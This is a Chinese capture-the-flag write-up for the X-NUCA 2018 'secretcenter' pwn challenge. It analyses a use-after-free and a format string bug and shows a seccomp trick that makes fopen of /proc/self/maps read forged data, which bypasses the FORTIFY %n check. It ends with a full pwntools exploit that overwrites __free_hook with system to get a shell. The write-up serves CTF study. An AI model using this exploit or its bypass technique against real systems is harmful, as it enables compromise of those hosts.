X-NUCA'2018 线上专题赛 secretcenter 解题思路

p4nda / 2018-12-01 08:16:00 / 浏览数 3192 技术文章 技术文章 顶(0) 踩(0)

此题是X-NUCA'2018的一道题目，在比赛过程中没有队伍解出。赛后在得到AFang师傅的提示后复现成功。题目及附件下载

题目及漏洞分析

题目中初始化过程中首先从'secret.txt'中读入一个字符串，存放在申请的堆中。

```
int get_secret()
{
 int v0; // eax
 int v1; // ebx

 bss_malloc_secret = malloc(0x78uLL);
 v0 = open("secret.txt", 0x80000);
 if ( v0 == -1 )
   exit(1);
 v1 = v0;
 if ( (unsigned int)read(v0, bss_malloc_secret, 0x78uLL) == -1 )
   exit(1);
 return close(v1);
}
```

用户可以输入size申请不大于0x18f大小堆块，并向堆块中输入内容，内容首先输入在栈上，然后通过memcpy复制到堆上，此时栈上是有用户输入的。然后逐字节与secret

```
unsigned __int64 input()
{
 int v0; // ebp
 unsigned __int64 v1; // kr08_8
 int i; // eax
 __int64 v3; // rbx
 size_t size; // [rsp+Ch] [rbp-22Ch]
 unsigned __int64 v6; // [rsp+218h] [rbp-20h]

 v6 = __readfsqword(0x28u);
 puts("Secret Size: ");
 LODWORD(size) = 0;
 scanf("%d", &size);
 v0 = size;
 if ( (unsigned int)(size - 0x65) > 0x12A )
   exit(1);
 bss_malloc_user = malloc((unsigned int)size);
 bss_size = v0;
 write(1, "Content: \n", 0xAuLL);
 syscall(0LL, 0LL, (char *)&size + 4, (unsigned int)size);
 memcpy(bss_malloc_user, (char *)&size + 4, (unsigned int)size);
 v1 = strlen((const char *)bss_malloc_secret) + 1;
 for ( i = 0; ; ++i )
 {
   v3 = i;
   if ( i >= v1 - 1 )
     break;
   if ( *((_BYTE *)bss_malloc_secret + i) != *((_BYTE *)bss_malloc_user + i) )
   {
     puts("Not Good Secret :P\n");
     break;
   }
 }
 if ( v3 == strlen((const char *)bss_malloc_secret) )
   give_vmmap();
 _fprintf_chk((__int64)stderr, 1LL, (__int64)&size + 4);
 return __readfsqword(0x28u) ^ v6;
}
```

在释放函数中，程序可以对input函数中申请的堆块释放，但没有把指针清空，存在悬垂指针，导致double free。

```
void delete()
{
 free(bss_malloc_user);
}
```

并且可以通过edit函数，对之前的堆块进行修改，由于悬垂指针的问题，存在UAF。

```
__int64 edit_secret()
{
 unsigned int v1; // [rsp+Ch] [rbp-Ch]

 write(1, "size: \n", 7uLL);
 scanf("%d", &v1);
 if ( (signed int)v1 <= 0 || v1 >= bss_size )
   exit(1);
 write(1, "Content: \n", 0xAuLL);
 return syscall(0LL, 0LL, bss_malloc_user, v1);
}
```

此外，用户可以通过guard_ready函数，首先通过malloc申请一个0xf0的堆块，并且对这个堆块初始化一些数据，这个数据是一段预置的seccomp规则，后续再说。

在set_guard函数中，通过prctl函数将之前预置的seccomp规则生效。此处存在一个问题，由于程序可以任意设置大小的堆块，而设置seccomp规则的函数与ptctl不在一个

```
int set_guard()
{
 int result; // eax
 __int16 v1; // [rsp+0h] [rbp-18h]
 __int64 v2; // [rsp+8h] [rbp-10h]

 v1 = guard_num;
 v2 = bss_guard;
 if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
   exit(1);
 result = prctl(0x16, 2LL, &v1);
 if ( result )
 {
   perror("what?");
   exit(1);
 }
 return result;
}
```

漏洞利用

程序存在两个显式漏洞堆漏洞和格式化字符串。但是fprintf_chk函数不能使用%n写入数据，由于输出是stderr的情况也不能泄露数据。并且由于程序开启了全部的保护规则

```
■■[$] <> checksec secret_center
[*] '/home/p4nda/Desktop/pwn/other/xnuca/secretcenter/secret_center'
   Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
   FORTIFY:  Enabled
```

seccomp

seccomp是在内核中实现的对于用户系统调用及其参数的过滤，决定是否继续调用此系统调用，相当于自废武功，在CTF通防中很容易遇到，一般会禁用execve这样的系统

在内核处理请求系统调用时在此处（\arch\x86\entry\enrty_64.S line 247）进入检查，

```
/* Do syscall entry tracing */
tracesys:
   movq    %rsp, %rdi
   movl    $AUDIT_ARCH_X86_64, %esi
   call    syscall_trace_enter_phase1
   test    %rax, %rax
   jnz tracesys_phase2         /* if needed, run the slow path */
   RESTORE_C_REGS_EXCEPT_RAX       /* else restore clobbered regs */
   movq    ORIG_RAX(%rsp), %rax
```

```
   jmp entry_SYSCALL_64_fastpath   /* and return to the fast path */

tracesys_phase2:
   SAVE_EXTRA_REGS
   movq    %rsp, %rdi
   movl    $AUDIT_ARCH_X86_64, %esi
   movq    %rax, %rdx
   call    syscall_trace_enter_phase2
```

具体的检查机制在\arch\x86\net\bpf_jit_comp.c中。

好在david942j@217已经写出一套可以方便分析seccomp功能及编写seccomp的工具seccomp-tools

如分析程序预置的seccomp规则.

```
■■[$] <> seccomp-tools dump ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
4
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
5
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000  return KILL
0003: 0x20 0x00 0x00 0x00000000  A = sys_number
0004: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0006: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0012: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0014: 0x06 0x00 0x00 0x00000000  return KILL
```

fprintf_chk

这个函数在潜意识里觉得这个函数的格式化字符串漏洞是没有办法利用的。如执行%n

```
■■[$] <> ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
2
```

```
Secret Size:
123
Content:
%n
Not Good Secret :P

*** %n in writable segment detected ***
[1]    42169 abort (core dumped)  ./secret_center
```

可以看到%n被检测出来，可以看一下检测的逻辑在glibc-2.23\stdio-common\vfprintf.c line 892

```
if (! readonly_format)                          \
       {                                        \
         extern int __readonly_area (const void *, size_t)          \
       attribute_hidden;                         \
         readonly_format                              \
       = __readonly_area (format, ((STR_LEN (format) + 1)        \
                       * sizeof (CHAR_T)));         \
       }                                        \
     if (readonly_format < 0)                         \
       __libc_fatal ("*** %n in writable segment detected ***\n");       \
   }
```

可以看到readonlyformat是一个全局变量，当format不通过_readonly_area检测时，会返回一个负数，从而导致程序结束。

再看一下__readonly_area(\glibc-2.23\sysdeps\unix\sysv\linux\readonly-area.c)，通过fopen打开"/proc/self/maps"，来判断ptr是否是只读段，这样我们好像只要让fp

由于我们没有其他权限，不能修改"/proc/self/maps"，可以看能否从fopen中做文章。

fopen

提到fopen就不得不提到一个结构体__IO_FILE，这个结构体在IO利用方法里经常遇到，与通常open打开的文件不同的是，其为每个文件定义了缓冲区和虚表函数，而利用_f

```
struct _IO_FILE {
 int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

 /* The following pointers correspond to the C++ streambuf protocol. */
 /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
 char* _IO_read_ptr;   /* Current read pointer */
 char* _IO_read_end;   /* End of get area. */
 char* _IO_read_base;  /* Start of putback+get area. */
 char* _IO_write_base; /* Start of put area. */
 char* _IO_write_ptr;  /* Current put pointer. */
 char* _IO_write_end;  /* End of put area. */
 char* _IO_buf_base;   /* Start of reserve area. */
 char* _IO_buf_end;    /* End of reserve area. */
 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
#if 0
 int _blksize;
#else
 int _flags2;
#endif
 _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];
```

```
 /*  char* _save_gptr;  char* _save_egptr; */

 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

而fopen中真正打开并填写fileno字段的函数在\libio\fileops.c中，

```
_IO_FILE *
_IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot,
          int read_write, int is32not64)
{
 int fdesc;
#ifdef _LIBC
 if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
   fdesc = open_not_cancel (filename,
                posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
 else
   fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
 fdesc = open (filename, posix_mode, prot);
#endif
 if (fdesc < 0)
   return NULL;
 fp->_fileno = fdesc;
 ...
}
```

由于我们可以控制seccomp从而控制系统调用的访问，我们可以将此次打开返回ERROR
，而此时，open的返回值为0，此时fopen并不认为文件打开失败，而是认为其fileno是0，此时程序会从STDIN中读取数据，进行判断。

既然可以控制程序读入的内容，我们可以输入一个伪造的maps数据，使其认为内存是不可写的，这样就可以绕过判断，构造如下数据：

```
000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda
```

这样我们可以绕过fprintf_chk判断，利用%n来写数据了。

利用思路

沙箱构造

我们可以构造这样一个沙箱规则，当遇到系统调用时open时，判断其参数的最后一个字节是否是libc中"/proc/self/maps"的地址，如果是就返回ERROR，否则继续。

后续还有一个坑点，当fopen检查完后，会fclose关闭上述文件，此时用户stdin会被关闭，造成无法后续输入，这样简单，只需把close调用也关闭即可。

最终沙箱规则如下：

```
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)
```

利用seccomp-tools生成这样的规则：

```
■■[$] <> seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm -
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010
```

```
0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010  A = args[0]
0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
```

格式化字符串

已经知道了如何绕过%n的检测了，由于没有已知的地址，向哪里写数据又是一个问题，先看一下栈上有哪些数据吧

```
Breakpoint __fprintf_chk
pwndbg> x /40gx $rsp
0x7fffffffd328: 0x0000555555554f4d  0x0000000000000000
0x7fffffffd338: 0x0000007b00000000  0x00000000ff0a7025
0x7fffffffd348: 0x0000000000000000  0x0000000000000000
0x7fffffffd358: 0x0000000000000000  0xff000000ff000000
0x7fffffffd368: 0x0000ff0000000000  0x0000000000000000
0x7fffffffd378: 0x0000000000000000  0x0000000000000000
0x7fffffffd388: 0x00007ffff7b09ef9  0x00007ffff7dd1b20
0x7fffffffd398: 0x0000000000000080  0x0000000000000000
0x7fffffffd3a8: 0x00007ffff7a948c9  0x0000000000000000
0x7fffffffd3b8: 0x00007ffff7a8e86b  0x0000000000000000
0x7fffffffd3c8: 0x00000000000000a0  0x0000000000000fff
0x7fffffffd3d8: 0xffffffffffffff000  0x0000555555757000
0x7fffffffd3e8: 0x0000000000001000  0x00000000f7dd7390
0x7fffffffd3f8: 0x0000000000000000  0x00007fffffffd530
0x7fffffffd408: 0x00007ffff7ffea88  0x00007fffffffd560
0x7fffffffd418: 0x00007fffffffd5c0  0x00000000ffffffff
0x7fffffffd428: 0x00007ffff7dd1b20  0x0000000000000080
0x7fffffffd438: 0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x7fffffffd448: 0x0000000000002710  0x0000000000000000
0x7fffffffd458: 0x000000000000000a  0x00007fffffffd57c
pwndbg> x /s 0x0000555555757010
0x555555757010: "DwHxGpmDtDevggh"...
```

可以看到，在0x7fffffffd3e0这里，有一个离secret很近的地址，可以通过低字节修改使其指向secret，这样由于判定条件时，不相等的位置是否等于strlen(secret)，这样只

```
fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
```

此时可以拿到vmmap内容，后续可以再次通过格式化字符串修改__free_hook为system就可以拿到shell，就是这样的格式化字符串构造有点烦...

堆漏洞也可以利用，不过由于有访问次数的限制，我总是差一次访问，就没有细究这种方法是否可行。

EXP

```
from pwn import *
import time
debug=0


elf = ELF('./secret_center')
libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libc_name)
context.log_level = 'debug'
if debug:
   p= process('./secret_center')
else:
   #p = remote('106.75.73.20', 8999)#process('./pwn1')
   p = remote('127.0.0.1', 10006)
'''
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002  if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010  A = args[0]
0007: 0x54 0x00 0x00 0x000000ff  A &= 0xff
```

```
0008: 0x15 0x01 0x00 0x0000007c  if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
0011: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
'''
def z(a=''):
   if debug:
       gdb.attach(p,a)
def delete():
   p.recvuntil('>\n')
   p.sendline('3')
def guard_ready():
   p.recvuntil('>\n')
   p.sendline('4')
def set_guard():
   p.recvuntil('>\n')
   p.sendline('5')
def edit(size,content):
   p.recvuntil('>\n')
   p.sendline('6')
   p.recvuntil('size: ')
   p.sendline(str(size))
   p.recvuntil('Content: \n')
   p.send(content)
def input(size,content):
   p.recvuntil('>\n')
   p.sendline('2')
   p.recvuntil('Secret Size: ')
   p.sendline(str(size))
   p.recvuntil('Content: \n')
   p.send(content)
   #sleep(0.1)
def rule(code,jt ,jf ,k):
   return p16(code) + p8(jt) + p8(jf) + p32(k)
def build_rule():
   payload = ''
   payload+= rule(0x20 ,0x00, 0x00, 0x00000004) #  A = arch
   payload+= rule(0x15 ,0x00, 0x08, 0xc000003e) #  if (A != ARCH_X86_64) goto 0010
   payload+= rule(0x20 ,0x00, 0x00, 0x00000000) #  A = sys_number
   payload+= rule(0x15 ,0x06, 0x00, 0x00000003) #  if (A == close) goto 0010
   payload+= rule(0x15 ,0x05, 0x00, 0x000000e7) #  if (A == exit_group) goto 0010
   payload+= rule(0x15 ,0x00, 0x03, 0x00000002) #  if (A != open) goto 0009
   payload+= rule(0x20 ,0x00, 0x00, 0x00000010) #  A = args[0]
   payload+= rule(0x54 ,0x00, 0x00, 0x000000ff) #  A &= 0xff
   payload+= rule(0x15 ,0x01, 0x00, 0x0000007c) #  if (A == 124) goto 0010
   payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) #  return ALLOW
   payload+= rule(0x06 ,0x00, 0x00, 0x00050000) #  return ERRNO(2)
   return payload

input(0xF0 ,'p4nda') #1
delete()#2
guard_ready()#3

rule_data = build_rule()#4
edit(len(rule_data),rule_data)#5
set_guard()#6
#z('b fopen\nb __fprintf_chk\nc')

fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
p.recvuntil("Not Good Secret :P\n\n")
maps = '000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda'
p.sendline(maps)
input(0x68,'\x00')#8
libc_address = 0
heap_address = 0
pie = 0
while 1:
   tmp = p.readline()
```

```
   if "close" in tmp:
       tmp+= p.readline()
       tmp.replace("It's close.. Try to get a shell!\n",'')
   print '[?]',tmp#.split('-')[0]
   if ('libc-2.23.so' in tmp):
       addr = int('0x'+tmp.split('-')[0],16)
       if libc_address == 0:
           libc_address = addr
   if 'heap' in tmp:
       addr = int('0x'+tmp.split('-')[0],16)
       if heap_address == 0:
           heap_address = addr
   if 'secret_center' in tmp:
       addr = int('0x'+tmp.split('-')[0],16)
       if pie == 0:
           pie = addr

   if (libc_address*heap_address*pie != 0):
       break
print '[+]libc_address',hex(libc_address)
print '[+]heap_address',hex(heap_address)
print '[+]pie',hex(pie)
now = 0
last= 0
fmt = ('%256p'*33)
target = libc_address+libc.symbols['system']
where  = libc_address+libc.symbols['__free_hook']
for i in range(6):
   now = (target>>(i*8))&0xff
   if last<now:
       fmt+= '%'+str(now-last)+'c' + '%hhn'
   else:
       fmt+= '%'+str(0x100+now-last)+'c'+ '%hhn'
   last =  now

fmt+=';sh'
fmt = fmt.ljust(0xe0,'\0')
for i in range(6):
   fmt+= p64(0x31)+p64(where+i)
input(0x150,fmt+'\0')#9
print 'fmt:',hex(len(fmt)),fmt
p.recvuntil('It\'s close.. Try to get a shell!')
p.sendline(maps)
delete()


p.interactive()
```

总之，题目考察了很多东西，还是很有意思的一道题目，感谢AFang师傅的帮助，此篇被我同步到了我的blog。

上一篇：xnuca-Strange Int... 下一篇：中东地区DNSpionage安全事件分析

1. 0 条回复

- 动动手指，沙发就是你的了！

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板